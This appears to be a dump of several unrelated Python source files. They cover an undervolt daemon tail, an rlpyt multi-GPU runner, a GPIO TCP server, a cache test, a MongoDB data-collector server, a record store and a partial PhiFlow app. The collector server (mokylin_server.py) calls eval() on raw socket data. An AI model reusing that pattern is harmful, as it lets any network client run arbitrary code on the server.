set_icc_max(config)
# handle dbus events for applying undervolt/IccMax on resume from sleep/hybernate
def handle_sleep_callback(sleeping):
if not sleeping:
undervolt(config)
set_icc_max(config)
def handle_ac_callback(*args):
try:
power['source'] = 'BATTERY' if args[1]['Online'] == 0 else 'AC'
power['method'] = 'dbus'
except:
power['method'] = 'polling'
DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
# add dbus receiver only if undervolt/IccMax is enabled in config
if any(
config.getfloat(key, plane, fallback=0) != 0 for plane in VOLTAGE_PLANES for key in UNDERVOLT_KEYS + ICCMAX_KEYS
):
bus.add_signal_receiver(
handle_sleep_callback, 'PrepareForSleep', 'org.freedesktop.login1.Manager', 'org.freedesktop.login1'
)
bus.add_signal_receiver(
handle_ac_callback,
signal_name="PropertiesChanged",
dbus_interface="org.freedesktop.DBus.Properties",
path="/org/freedesktop/UPower/devices/line_power_AC",
)
log('[I] Starting main loop.')
if args.monitor is not None:
monitor_thread = Thread(target=monitor, args=(exit_event, args.monitor))
monitor_thread.daemon = True
monitor_thread.start()
try:
loop = GLib.MainLoop()
loop.run()
except (KeyboardInterrupt, SystemExit):
pass
exit_event.set()
loop.quit()
thread.join(timeout=1)
if args.monitor is not None:
monitor_thread.join(timeout=0.1)
if __name__ == '__main__':
main()
|
sync_rl.py |
import multiprocessing as mp
import time
import torch.distributed
from rlpyt.runners.minibatch_rl import MinibatchRl, MinibatchRlEval
from rlpyt.utils.seed import make_seed
from rlpyt.utils.collections import AttrDict
from rlpyt.utils.quick_args import save__init__args
from rlpyt.utils.synchronize import drain_queue, find_port
###############################################################################
# Master
###############################################################################
class SyncRlMixin:
"""
Mixin class to extend runner functionality to multi-GPU case. Creates a
full replica of the sampler-algorithm-agent stack in a separate Python
process for each GPU. Initializes ``torch.distributed`` to support
data-parallel training of the agent. The main communication point among
processes is to all-reduce gradients during backpropagation, which is
handled implicitly within PyTorch. There is one agent, with the same
parameters copied in all processes. No data samples are communicated in
the implemented runners.
On GPU, uses the `NCCL` backend to communicate directly among GPUs. Can also
be used without GPU, as multi-CPU (MPI-like, but using the `gloo` backend).
The parallelism in the sampler is independent from the parallelism
here--each process will initialize its own sampler, and any one can be
used (serial, cpu-parallel, gpu-parallel).
The name "Sync" refers to the fact that the sampler and algorithm still
operate synchronously within each process (i.e. they alternate, running
one at a time).
Note:
Weak scaling is implemented for batch sizes. The batch size input
argument to the sampler and to the algorithm classes are used in each
process, so the actual batch sizes are `(world_size * batch_size)`.
The world size is readily available from ``torch.distributed``, so can
change this if desired.
Note:
The ``affinities`` input is expected to be a list, with a seprate
affinity dict for each process. The number of processes is taken from
the length of the affinities list.
"""
def startup(self):
self.launch_workers()
n_itr = super().startup()
self.par.barrier.wait()
self._start_time = self._last_time = time.time() # (Overwrite)
return n_itr
def launch_workers(self):
"""
As part of startup, fork a separate Python process for each additional
GPU; the master process runs on the first GPU. Initialize
``torch.distributed`` so the ``DistributedDataParallel`` wrapper can
work--also makes ``torch.distributed`` avaiable for other
communication.
"""
self.affinities = self.affinity
self.affinity = self.affinities[0]
self.world_size = world_size = len(self.affinities)
self.rank = rank = 0
self.par = par = self.build_par_objs(world_size)
if self.seed is None:
self.seed = make_seed()
port = find_port(offset=self.affinity.get("master_cpus", [0])[0])
backend = "gloo" if self.affinity.get("cuda_idx", None) is None else "nccl"
workers_kwargs = [dict(
algo=self.algo,
agent=self.agent,
sampler=self.sampler,
n_steps=self.n_steps,
seed=self.seed + 100 * rank,
affinity=self.affinities[rank],
log_interval_steps=self.log_interval_steps,
rank=rank,
world_size=world_size,
port=port,
backend=backend,
par=par,
)
for rank in range(1, world_size)]
workers = [self.WorkerCls(**w_kwargs) for w_kwargs in workers_kwargs]
self.workers = [mp.Process(target=w.train, args=()) for w in workers]
for w in self.workers:
w.start()
torch.distributed.init_process_group(
backend=backend,
rank=rank,
world_size=world_size,
init_method=f"tcp://127.0.0.1:{port}",
)
def build_par_objs(self, world_size):
barrier = mp.Barrier(world_size)
traj_infos_queue = mp.Queue()
par = AttrDict(
barrier=barrier,
traj_infos_queue=traj_infos_queue,
)
return par
class SyncRl(SyncRlMixin, MinibatchRl):
"""
Multi-process RL with online agent performance tracking. Trajectory info is
collected from all processes and is included in logging.
"""
@property
def WorkerCls(self):
return SyncWorker
def store_diagnostics(self, itr, traj_infos, opt_info):
traj_infos.extend(drain_queue(self.par.traj_infos_queue))
super().store_diagnostics(itr, traj_infos, opt_info)
class SyncRlEval(SyncRlMixin, MinibatchRlEval):
"""
Multi-process RL with offline agent performance evaluation. Only the
master process runs agent evaluation.
"""
@property
def WorkerCls(self):
return SyncWorkerEval
def log_diagnostics(self, *args, **kwargs):
super().log_diagnostics(*args, **kwargs)
self.par.barrier.wait()
###############################################################################
# Worker
###############################################################################
class SyncWorkerMixin:
def __init__(
self,
algo,
agent,
sampler,
n_steps,
seed,
affinity,
log_interval_steps,
rank,
world_size,
port,
backend,
par,
):
save__init__args(locals())
def startup(self):
torch.distributed.init_process_group(
backend=self.backend,
rank=self.rank,
world_size=self.world_size,
init_method=f"tcp://127.0.0.1:{self.port}",
)
n_itr = super().startup()
self.par.barrier.wait()
return n_itr
def initialize_logging(self):
pass # Don't log in workers.
def shutdown(self):
self.sampler.shutdown()
class SyncWorker(SyncWorkerMixin, MinibatchRl):
def store_diagnostics(self, itr, traj_infos, opt_info):
for traj_info in traj_infos:
self.par.traj_infos_queue.put(traj_info)
# Leave worker opt_info un-recorded.
def log_diagnostics(self, *args, **kwargs):
pass
class SyncWorkerEval(SyncWorkerMixin, MinibatchRlEval):
def store_diagnostics(self, *args, **kwargs):
pass
def log_diagnostics(self, *args, **kwargs):
self.par.barrier.wait()
def evaluate_agent(self, *args, **kwargs):
return None, None
|
gpio_server.py | import socket
import threading
from queue import Queue
import time
import struct
class GPIOServer:
""" Create a TCP server to control/manipulate GPIO pins on the client (Pi). """
def __init__(self, host_ip=socket.gethostbyname(socket.gethostname()), port=5000):
""" Class constructor.
Args:
host_ip (str, optional): IP address of the host. Defaults to host local IP.
port (int, optional): Port for the connection. Defaults to 5000.
"""
self.host_ip = host_ip
self.port = port
self.host = (host_ip, port)
self.server_on = False
self.host_print_prefix = "(Host):"
self.print_sent_commands = False
self.bytes_to_send = 64
self.bytes_to_recv = 64
self.add_command_delay = True
self.delay_between_commands = 0.001
self.start_server()
def start_server(self):
""" Start server on a thread. """
self.commands = Queue(maxsize=1)
self.server_t = threading.Thread(target=self.server_thread, name="server_thread", args=((self.commands,)))
self.server_t.start()
def server_thread(self, commands):
""" The server function thread.
Args:
commands (Queue): Used to communicate with thread by placing commands in the queue to be sent.
"""
self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.soc.bind(self.host)
self.soc.listen()
print(self.host_print_prefix, "Socket created.")
self.server_on = True
print(self.host_print_prefix, f"Server started and listening on ({self.host_ip}:{self.port})...")
try:
self.conn = self.soc.accept()[0]
client_ip = self.conn.getpeername()[0]
print(self.host_print_prefix, f"Connection made with {client_ip}")
except: # When program finished/exited before connection was made.
self.server_on = False
pass
while self.server_on:
if not commands.empty():
command = commands.get()
# Ensuring each sent command occupies exactly self.bytes_to_send bytes.
command_length = len(command)
remaining_bytes = self.bytes_to_send - command_length
if remaining_bytes < 0:
print(self.host_print_prefix, f"\"{command}\" is over {self.bytes_to_send} bytes, was not sent.")
continue
full_command = command + " " * remaining_bytes
packed_command = struct.pack(f"{self.bytes_to_send}s", full_command.encode("utf-8"))
self.conn.send(packed_command)
if self.print_sent_commands:
print(self.host_print_prefix, f"Command \"{command}\" sent.")
if command == "SHUTDOWN":
break
if self.add_command_delay:
time.sleep(self.delay_between_commands)
def close_server(self):
""" Close the server and thread. """
self.commands.put("SHUTDOWN")
self.server_t.join()
self.server_on = False
self.soc.close()
print(self.host_print_prefix, "Server shutdown")
def send_command(self, command_str):
""" Put command in the queue to communicate with the server thread to send it.
Args:
command_str (str): The command to send.
"""
self.commands.put(command_str)
def set_mode(self, board):
""" Set board mode of GPIO pins.
Args:
board (str): Board mode, can be "board" or "bcm".
"""
command = f"GPIO SET_MODE {board}"
self.send_command(command)
def setup_gpio(self, pins, pin_type, initial="OFF", pull_up_down=""):
""" Setup GPIO pin(s) to output or input.
Args:
pins (int/list): The GPIO pin number(s) based on the board mode set.
pin_type (str): Can be "IN" or "OUT".
initial (str, optional): Initial value for pin(s). Defaults to "OFF".
pull_up_down (str, optional): Whether to use pull up or down resistor, "UP" or "DOWN". Can be Defaults to "".
"""
if type(pins) is not list: pins = [pins]
pins_string = ",".join([str(i) for i in pins])
if pull_up_down == "":
command = f"GPIO SETUP_PIN {pins_string} {pin_type} {initial}"
else:
command = f"GPIO SETUP_PIN {pins_string} {pin_type} {initial} {pull_up_down}"
self.send_command(command)
def set_gpio(self, pins, state):
""" Change state of GPIO pin(s) to ON or OFF.
Args:
pins (int/list): The GPIO pin number(s) based on the board mode set.
state (str): The new state of the pin(s), "ON" or "OFF".
"""
if type(pins) is not list: pins = [pins]
pins_string = ",".join([str(i) for i in pins])
command = f"GPIO SET_PIN {pins_string} {state}"
self.send_command(command)
def get_input(self, pin):
""" Get input of a GPIO pin.
Args:
pin (int): The GPIO pin number based on the board mode set.
Returns:
str: The input value received from the pin.
"""
command = f"GPIO GET_INPUT {pin}"
self.send_command(command)
data_received = self.conn.recv(self.bytes_to_recv).decode()
return data_received
def create_pwm(self, pin, freq, init_duty_cyc):
""" Create PWM signal for the given pin.
Args:
pin (int): The GPIO pin number based on the board mode set.
freq (int): The frequency of the PWM signal.
init_duty_cyc (int): The initial duty cycle for the PWM signal (0-100).
"""
command = f"PWM CREATE {pin} {freq} {init_duty_cyc}"
self.send_command(command)
def set_duty_cycle(self, pin, duty_cycle):
""" Set the duty cycle of the PWM signal for the given pin.
Args:
pin (int): The GPIO pin number based on the board mode set.
duty_cycle (int): The new duty cycle value (0-100).
"""
command = f"PWM SET {pin} {duty_cycle}"
self.send_command(command)
|
test_decorator_list.py | # -*- coding: utf-8 -*-
import unittest
from lutino.caching import create_cache_key
from lutino.caching.tests.base import CachingTestCase
from datetime import datetime
import threading
__author__ = 'vahid'
def th():
return threading.current_thread().name
class TestCacheDecoratorList(CachingTestCase):
@classmethod
def setUpClass(cls):
cls.request_count_per_thread = 100
cls.thread_count = 4
cls.invalidated = False
cls.call_count = 0
cls.sample_lists = {
'a': [
{'id': 1, 'type': 'a', 'name': 'vahid'},
{'id': 2, 'type': 'a', 'name': 'baghali'},
{'id': 3, 'type': 'a', 'name': 'taghi'},
{'id': 4, 'type': 'a', 'name': 'yadollah'},
],
'b': [
{'id': 11, 'type': 'b', 'name': 'vahid'},
{'id': 22, 'type': 'b', 'name': 'baghali'},
{'id': 33, 'type': 'b', 'name': 'taghi'},
{'id': 44, 'type': 'b', 'name': 'yadollah'},
]
}
def list_worker(self):
@self.cache_manager.decorate('test', list_=True, key_extractor=lambda x: dict(id=x['id']))
def get_list(key=None):
self.call_count += 1
print("## get_list, call_count: %s" % self.call_count)
return len(self.sample_lists[key]), self.sample_lists[key]
for i in range(self.request_count_per_thread):
if not self.invalidated and i == (self.request_count_per_thread // 2) and th() == 'th 01':
self.invalidated = True
print('Invalidating')
self.cache_manager.invalidate_list(create_cache_key('test', dict(key='a')))
self.cache_manager.invalidate_list(create_cache_key('test', dict(key='b')))
self.assertListEqual(get_list(key='a')[1], self.sample_lists['a'])
self.assertListEqual(get_list(key='b')[1], self.sample_lists['b'])
def test_decorator_cache_list(self):
start_time = datetime.now()
threads = []
for i in range(self.thread_count):
t = threading.Thread(target=self.list_worker, daemon=True, name='th %02d' % (i+1))
threads.append(t)
t.start()
for t in threads:
t.join()
seconds = (datetime.now() - start_time).total_seconds()
self.assertEqual(self.call_count, 4)
print('Total time: %s Avg: %s' % (seconds, seconds / (self.request_count_per_thread * self.thread_count)))
if __name__ == '__main__':
unittest.main()
|
mokylin_server.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# data collector
# 数据收集服务端
# 时间：2014-10-21
#
import multiprocessing
import socket
import pymongo
import datetime
import json
def insert_into_mongodb(data, address, dbconfig):
dbaddress = dbconfig[0]['dbaddress']
dbport = dbconfig[1]['dbport']
dbuser = dbconfig[2]['dbuser']
dbpass = dbconfig[3]['dbpass']
dbname = dbconfig[4]['dbname']
# print dbaddress, dbport, dbuser, dbpass, dbname
connection=pymongo.Connection('%s' % dbaddress, int(dbport))
# 数据库名称 未解决
db = connection.mokylin
posts = db.posts
#data = json.dumps(data)
print "-------------"
print data
b=eval(data)
disk_info = b[0]
cpu_info= b[1]['load_status']
mem_info = b[2]['mem_use_rate']
print type(b)
print "-------------"
# disk_info = json.dumps(data.split('+')[0])
# cpu_info = json.dumps(data.split('+')[1])
# mem_info = json.dumps(data.split('+')[2])
print type(mem_info)
#print mem_info[0]['mem_use_rate']
#print cpu_info[0]['load_status']
post = {"address": address,
"diskinfo":disk_info,
"mem":mem_info,
"cpu":cpu_info,
"date": datetime.datetime.utcnow()}
print post
posts.insert(post)
def handle(connection, address, dbconfig):
import logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger("process-%r" % (address,))
try:
#logger.debug("Connected %r at %r", connection, address)
logger.debug("Connected %r",address)
while True:
data = connection.recv(1024)
if data == "":
logger.debug("Socket closed remotely")
break
#数据处理
address=address[0]
insert_into_mongodb(data, address, dbconfig)
# logger.debug("Received data %r", data)
#发送数据到客户端，暂时无用，注释
#connection.sendall(data)
#logger.debug("Sent data")
except:
logger.exception("Problem handling request")
finally:
logger.debug("Closing socket")
connection.close()
class Server(object):
def __init__(self, hostname, port, dbconfig):
import logging
logging.basicConfig(level=logging.DEBUG)
self.logger = logging.getLogger("server")
self.hostname = hostname
self.port = port
self.dbconfig = dbconfig
def start(self):
self.logger.debug("listening")
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind((self.hostname, self.port))
self.socket.listen(1)
while True:
conn, address = self.socket.accept()
self.logger.debug("Got connection")
process = multiprocessing.Process(target=handle, args=(conn, address, self.dbconfig))
process.daemon = True
process.start()
self.logger.debug("Started process %r", process)
#if __name__ == "__main__":
def socket_start(listen_ip, port, dbconfig):
import logging
#loglevel='INFO'
loglevel='DEBUG'
logging.basicConfig(level=str(loglevel),
format='[%(asctime)s] %(levelname)-4s %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
filename='/opt/mokylin/datacollection/logs/mokylin_server.log',
filemode='w')
#server = Server("0.0.0.0", 9000)
server = Server("%s" % listen_ip, int(port), dbconfig)
try:
logging.info("Listening")
server.start()
except:
logging.exception("Unexpected exception")
finally:
logging.info("Shutting down")
for process in multiprocessing.active_children():
logging.info("Shutting down process %r", process)
process.terminate()
process.join()
logging.info("All done")
|
store.py | import datetime
import json
import threading
import uuid
from collections import defaultdict
from copy import deepcopy
from dictdiffer import diff
from inspect import signature
from threading import Lock
from pathlib import Path
from tzlocal import get_localzone
from .logger import logger
from .settings import CACHE_DIR
from .utils import extract_id
class MissingClass(object):
def __bool__(self):
return False
Missing = MissingClass()
class Callback(object):
def __init__(
self, callback, record, callback_id=None, extra_kwargs={}, watch_children=True
):
self.callback = callback
self.record = record
self.callback_id = callback_id or str(uuid.uuid4())
self.extra_kwargs = extra_kwargs
def __call__(self, difference, old_val, new_val):
kwargs = {}
kwargs.update(self.extra_kwargs)
kwargs["record"] = self.record
kwargs["callback_id"] = self.callback_id
kwargs["difference"] = difference
kwargs["changes"] = self.record._convert_diff_to_changelist(
difference, old_val, new_val
)
logger.debug("Firing callback {} with kwargs: {}".format(self.callback, kwargs))
# trim down the parameters we'll be passing, to include only those the callback will accept
params = signature(self.callback).parameters
if not any(["**" in str(param) for param in params.values()]):
# there's no "**kwargs" in the callback signature, so remove any unaccepted params
for arg in list(kwargs.keys()):
if arg not in params:
del kwargs[arg]
# perform the callback, gracefully handling any exceptions
try:
# trigger the callback within its own thread, so it won't block others if it's long-running
threading.Thread(target=self.callback, kwargs=kwargs, daemon=True).start()
except Exception as e:
logger.error(
"Error while processing callback for {}: {}".format(
repr(self.record), repr(e)
)
)
def __eq__(self, val):
if isinstance(val, str):
return self.callback_id.startswith(val)
elif isinstance(val, Callback):
return self.callback_id == val.callback_id
else:
return False
class RecordStore(object):
def __init__(self, client, cache_key=None):
self._mutex = Lock()
self._client = client
self._cache_key = cache_key or str(
int(datetime.datetime.now().timestamp() * 1000)
)
self._values = defaultdict(lambda: defaultdict(dict))
self._role = defaultdict(lambda: defaultdict(str))
self._collection_row_ids = {}
self._callbacks = defaultdict(lambda: defaultdict(list))
self._records_to_refresh = {}
self._pages_to_refresh = []
with self._mutex:
self._load_cache()
def _get(self, table, id):
return self._values[table].get(id, Missing)
def add_callback(self, record, callback, callback_id=None, extra_kwargs={}):
assert callable(
callback
), "The callback must be a 'callable' object, such as a function."
self.remove_callbacks(record._table, record.id, callback_id)
callback_obj = Callback(
callback, record, callback_id=callback_id, extra_kwargs=extra_kwargs
)
self._callbacks[record._table][record.id].append(callback_obj)
return callback_obj
def remove_callbacks(self, table, id, callback_or_callback_id_prefix=""):
"""
Remove all callbacks for the record specified by `table` and `id` that have a callback_id
starting with the string `callback_or_callback_id_prefix`, or are equal to the provided callback.
"""
if callback_or_callback_id_prefix is None:
return
callbacks = self._callbacks[table][id]
while callback_or_callback_id_prefix in callbacks:
callbacks.remove(callback_or_callback_id_prefix)
def _get_cache_path(self, attribute):
return str(
Path(CACHE_DIR).joinpath("{}{}.json".format(self._cache_key, attribute))
)
def _load_cache(self, attributes=("_values", "_role", "_collection_row_ids")):
for attr in attributes:
try:
with open(self._get_cache_path(attr)) as f:
if attr == "_collection_row_ids":
self._collection_row_ids.update(json.load(f))
else:
for k, v in json.load(f).items():
getattr(self, attr)[k].update(v)
except (FileNotFoundError, ValueError):
pass
def set_collection_rows(self, collection_id, row_ids):
if collection_id in self._collection_row_ids:
old_ids = set(self._collection_row_ids[collection_id])
new_ids = set(row_ids)
added = new_ids - old_ids
removed = old_ids - new_ids
for id in added:
self._trigger_callbacks(
"collection",
collection_id,
[("row_added", "rows", id)],
old_ids,
new_ids,
)
for id in removed:
self._trigger_callbacks(
"collection",
collection_id,
[("row_removed", "rows", id)],
old_ids,
new_ids,
)
self._collection_row_ids[collection_id] = row_ids
self._save_cache("_collection_row_ids")
def get_collection_rows(self, collection_id):
return self._collection_row_ids.get(collection_id, [])
def _save_cache(self, attribute):
with open(self._get_cache_path(attribute), "w") as f:
json.dump(getattr(self, attribute), f)
def _trigger_callbacks(self, table, id, difference, old_val, new_val):
for callback_obj in self._callbacks[table][id]:
callback_obj(difference, old_val, new_val)
def get_role(self, table, id, force_refresh=False):
self.get(table, id, force_refresh=force_refresh)
return self._role[table].get(id, None)
def get(self, table, id, force_refresh=False):
id = extract_id(id)
# look up the record in the current local dataset
result = self._get(table, id)
# if it's not found, try refreshing the record from the server
if result is Missing or force_refresh:
if table == "block":
self.call_load_page_chunk(id)
else:
self.call_get_record_values(**{table: id})
result = self._get(table, id)
return result if result is not Missing else None
def _update_record(self, table, id, value=None, role=None):
callback_queue = []
with self._mutex:
if role:
logger.debug("Updating 'role' for {}/{} to {}".format(table, id, role))
self._role[table][id] = role
self._save_cache("_role")
if value:
logger.debug(
"Updating 'value' for {}/{} to {}".format(table, id, value)
)
old_val = self._values[table][id]
difference = list(
diff(
old_val,
value,
ignore=["version", "last_edited_time", "last_edited_by"],
expand=True,
)
)
self._values[table][id] = value
self._save_cache("_values")
if old_val and difference:
logger.debug("Value changed! Difference: {}".format(difference))
callback_queue.append((table, id, difference, old_val, value))
# run callbacks outside the mutex to avoid lockups
for cb in callback_queue:
self._trigger_callbacks(*cb)
def call_get_record_values(self, **kwargs):
"""
Call the server's getRecordValues endpoint to update the local record store. The keyword arguments map
table names into lists of (or singular) record IDs to load for that table. Use True to refresh all known
records for that table.
"""
requestlist = []
for table, ids in kwargs.items():
# ensure "ids" is a proper list
if ids is True:
ids = list(self._values.get(table, {}).keys())
if isinstance(ids, str):
ids = [ids]
# if we're in a transaction, add the requested IDs to a queue to refresh when the transaction completes
if self._client.in_transaction():
self._records_to_refresh[table] = list(
set(self._records_to_refresh.get(table, []) + ids)
)
continue
requestlist += [{"table": table, "id": extract_id(id)} for id in ids]
if requestlist:
logger.debug(
"Calling 'getRecordValues' endpoint for requests: {}".format(
requestlist
)
)
results = self._client.post(
"getRecordValues", {"requests": requestlist}
).json()["results"]
for request, result in zip(requestlist, results):
self._update_record(
request["table"],
request["id"],
value=result.get("value"),
role=result.get("role"),
)
def get_current_version(self, table, id):
values = self._get(table, id)
if values and "version" in values:
return values["version"]
else:
return -1
def call_load_page_chunk(self, page_id):
if self._client.in_transaction():
self._pages_to_refresh.append(page_id)
return
data = {
"pageId": page_id,
"limit": 100000,
"cursor": {"stack": []},
"chunkNumber": 0,
"verticalColumns": False,
}
recordmap = self._client.post("loadPageChunk", data).json()["recordMap"]
self.store_recordmap(recordmap)
def store_recordmap(self, recordmap):
for table, records in recordmap.items():
for id, record in records.items():
self._update_record(
table, id, value=record.get("value"), role=record.get("role")
)
def call_query_collection(
self,
collection_id,
collection_view_id,
search="",
type="table",
aggregate=[],
filter=[],
filter_operator="and",
sort=[],
calendar_by="",
group_by="",
):
# convert singletons into lists if needed
if isinstance(aggregate, dict):
aggregate = [aggregate]
if isinstance(filter, dict):
filter = [filter]
if isinstance(sort, dict):
sort = [sort]
data = {
"collectionId": collection_id,
"collectionViewId": collection_view_id,
"loader": {
"limit": 10000,
"loadContentCover": True,
"query": search,
"userLocale": "en",
"userTimeZone": str(get_localzone()),
"type": type,
},
"query": {
"aggregate": aggregate,
"filter": filter,
"filter_operator": filter_operator,
"sort": sort,
},
}
response = self._client.post("queryCollection", data).json()
self.store_recordmap(response["recordMap"])
return response["result"]
def handle_post_transaction_refreshing(self):
for block_id in self._pages_to_refresh:
self.call_load_page_chunk(block_id)
self._pages_to_refresh = []
self.call_get_record_values(**self._records_to_refresh)
self._records_to_refresh = {}
def run_local_operations(self, operations):
"""
Called to simulate the results of running the operations on the server, to keep the record store in sync
even when we haven't completed a refresh (or we did a refresh but the database hadn't actually updated yet...)
"""
for operation in operations:
self.run_local_operation(**operation)
def run_local_operation(self, table, id, path, command, args):
with self._mutex:
path = deepcopy(path)
new_val = deepcopy(self._values[table][id])
ref = new_val
# loop and descend down the path until it's consumed, or if we're doing a "set", there's one key left
while (len(path) > 1) or (path and command != "set"):
comp = path.pop(0)
if comp not in ref:
ref[comp] = [] if "list" in command else {}
ref = ref[comp]
if command == "update":
assert isinstance(ref, dict)
ref.update(args)
elif command == "set":
assert isinstance(ref, dict)
if path:
ref[path[0]] = args
else:
# this is the case of "setting the top level" (i.e. creating a record)
ref.clear()
ref.update(args)
elif command == "listAfter":
assert isinstance(ref, list)
if "after" in args:
ref.insert(ref.index(args["after"]) + 1, args["id"])
else:
ref.append(args["id"])
elif command == "listBefore":
assert isinstance(ref, list)
if "before" in args:
ref.insert(ref.index(args["before"]), args["id"])
else:
ref.insert(0, args["id"])
elif command == "listRemove":
try:
ref.remove(args["id"])
except ValueError:
pass
self._update_record(table, id, value=new_val)
|
_app.py | # coding=utf-8
from __future__ import print_function
import inspect
import logging
import numbers
import os
import sys
import threading
import time
import warnings
from os.path import isfile
import numpy as np
from phi import struct, math
from phi.field import CenteredGrid, Field, StaggeredGrid, Scene
from phi.physics._world import StateProxy, world
from ._control import Action, Control
from ._value import (EditableBool, EditableFloat, EditableInt, EditableString, EditableValue)
def synchronized_method(method):
outer_lock = threading.Lock()
lock_name = '__' + method.__name__ + '_lock' + '__'
def sync_method(self, *args, **kws):
with outer_lock:
if not hasattr(self, lock_name):
setattr(self, lock_name, threading.Lock())
lock = getattr(self, lock_name)
with lock:
return method(self, *args, **kws)
return sync_method
class TimeDependentField(object):
def __init__(self, name, generator):
self.name = name
self.generator = generator
self.array = None
self.invalidation_version = -1
@synchronized_method
def get(self, invalidation_version):
if invalidation_version != self.invalidation_version:
self.array = self.generator()
self.invalidation_version = invalidation_version
return self.array
class App(object):
"""
Main class for defining an application that can be displayed in the user interface.
To display data, call App.add_field().
All fields need to be registered before the app is prepared or shown.
To launch the GUI, call show(app). This calls App.prepare() if the app was not prepared.
See the user interface documentation at https://tum-pbs.github.io/PhiFlow/Web_Interface.html
Args:
Returns:
"""
def __init__(self,
name=None,
subtitle='',
fields=None,
stride=None,
base_dir='~/phi/data/',
summary=None,
custom_properties=None,
target_scene=None,
objects_to_save=None,
framerate=None,
dt=1.0):
self.start_time = time.time()
""" Time of creation (`App` constructor invocation) """
self.name = name if name is not None else self.__class__.__name__
""" Human-readable name. """
self.subtitle = subtitle
""" Description to be displayed. """
self.summary = summary if summary else name
""" The scene directory is derived from the summary. Defaults to `name`. """
if fields:
self.fields = {name: TimeDependentField(name, generator) for (name, generator) in fields.items()}
else:
self.fields = {}
self.message = None
self.steps = 0
""" Counts the number of times `step()` has been called. May be set by the user. """
self.time = 0
""" Time variable for simulations. Can be set by the user. """
self._invalidation_counter = 0
self._controls = []
self._actions = []
self._traits = []
self.prepared = False
""" Wheter `prepare()` has been called. """
self.current_action = None
self._pause = False
self.detect_fields = 'default' # False, True, 'default'
self.world = world
self._dt = dt.initial_value if isinstance(dt, EditableValue) else dt
if isinstance(dt, EditableValue):
self._controls.append(Control(self, "dt", dt))
self.min_dt = self._dt
self.dt_history = {} # sparse representation of time when new timestep was set (for the next step)
# Setup directory & Logging
self.objects_to_save = [self.__class__] if objects_to_save is None else list(objects_to_save)
self.base_dir = os.path.expanduser(base_dir)
if not target_scene:
self.new_scene()
self.uses_existing_scene = False
else:
self.scene = target_scene
self.uses_existing_scene = True
if not isfile(self.scene.subpath('info.log')):
log_file = self.log_file = self.scene.subpath('info.log')
else:
index = 2
while True:
log_file = self.scene.subpath('info_%d.log' % index)
if not isfile(log_file):
break
else:
index += 1
# Setup logging
logFormatter = logging.Formatter('%(message)s (%(levelname)s), %(asctime)sn\n')
rootLogger = logging.getLogger()
rootLogger.setLevel(logging.WARNING)
customLogger = logging.Logger('app', logging.DEBUG)
fileHandler = logging.FileHandler(log_file)
fileHandler.setFormatter(logFormatter)
customLogger.addHandler(fileHandler)
consoleHandler = logging.StreamHandler(sys.stdout)
consoleHandler.setFormatter(logFormatter)
consoleHandler.setLevel(logging.INFO)
customLogger.addHandler(consoleHandler)
self.logger = customLogger
# Framerate
self.sequence_stride = stride if stride is not None else 1
self.framerate = framerate if framerate is not None else stride
""" Target frame rate in Hz. Play will not step faster than the framerate. `None` for unlimited frame rate. """
self._custom_properties = custom_properties if custom_properties else {}
# State
self.state = None
self.step_function = None
# Initial log message
self.info('App created. Scene directory is %s' % self.scene.path)
@property
def dt(self):
"""
Current time increment per step.
Used for `step_function` set by `set_state()` or for `world.step()` in legacy-style simulations. """
return self._dt
@dt.setter
def dt(self, value):
self._dt = value
self.min_dt = min(self.min_dt, self.dt)
self.dt_history[self.time] = self.dt
def set_state(self, initial_state, step_function=None, show=(), dt=None):
"""
Specifies the current physics state of the app and optionally the solver step function.
The current physics state of the app is stored in `app.state`.
This method replaces `world.add()` calls from Φ-Flow 1.
Args:
initial_state: dict mapping names (str) to Fields or Tensors
step_function: function to progress the state. Called as step_function(dt=dt, **current_state) (Default value = None)
show: list of names to expose to the user interface (Default value = ())
dt: optional) value of dt to be passed to step_function (Default value = None)
Returns:
"""
self.state = initial_state
self.step_function = step_function
if dt is not None:
self.dt = dt
if show:
if not self.prepared:
for field_name in show:
self.add_field(field_name, lambda n=field_name: self.state[n])
else:
warnings.warn('Ignoring show argument because App is already prepared.')
@property
def frame(self):
""" Alias for `steps`. """
return self.steps
def new_scene(self, count=None):
if count is None:
count = 1 if self.world.batch_size is None else self.world.batch_size
if count > 1:
self.scene = Scene.create(os.path.join(self.base_dir, self.scene_summary()), batch=count)
else:
self.scene = Scene.create(os.path.join(self.base_dir, self.scene_summary()))
@property
def directory(self):
""" This directory is automatically created upon `App` creation. Equal to `scene.path`. """
return self.scene.path
def _progress(self):
# actual method called to step.
self.step()
self.steps += 1
self.invalidate()
def invalidate(self):
""" Causes the user interface to update. """
self._invalidation_counter += 1
def step(self):
"""
Performs a single step.
You may override this method to specify what happens when the user presses the buttons `Step` or `Play`.
If a step function has been passed to `App.set_state()`, the state is progressed using that function.
Otherwise, `world.step()` is executed (for phiflow 1 style simulations).
App.steps automatically counts how many steps have been completed.
If this method is not overridden, `App.time` is additionally increased by `App.dt`.
Args:
Returns:
"""
dt = self.dt # prevent race conditions
if self.step_function is None:
world.step(dt=dt)
else:
new_state = self.step_function(dt=dt, **self.state)
assert isinstance(self.state, dict), 'step_function must return a dict'
assert new_state.keys() == self.state.keys(), 'step_function must return a state with the same names as the input state.\nInput: %s\nOutput: %s' % (self.state.keys(), new_state.keys())
self.state = new_state
self.time += dt
@property
def fieldnames(self):
""" Alphabetical list of field names. See `get_field()`. """
return sorted(self.fields.keys())
def get_field(self, fieldname):
"""
Reads the current value of a field.
Fields can be added using `add_field()`.
If a generator function was registered as the field data, this method may invoke the function which may take some time to complete.
"""
if fieldname not in self.fields:
raise KeyError('Field %s not declared. Available fields are %s' % (fieldname, self.fields.keys()))
return self.fields[fieldname].get(self._invalidation_counter)
def add_field(self, name: str, value):
"""
Expose data to be displayed in the user interface.
This method must be called before the user interface is launched, i.e. before `show(app)` or `app.prepare()` are invoked.
`value` must be one of the following
* Field
* tensor
* function without arguments returning one of the former. This function will be called each time the interface is updated.
Args:
name: unique human-readable name
value: data to display
name: str:
Returns:
"""
assert not self.prepared, 'Cannot add fields to a prepared model'
if isinstance(value, StateProxy):
def current_state():
return value.state
generator = current_state
elif callable(value):
generator = value
else:
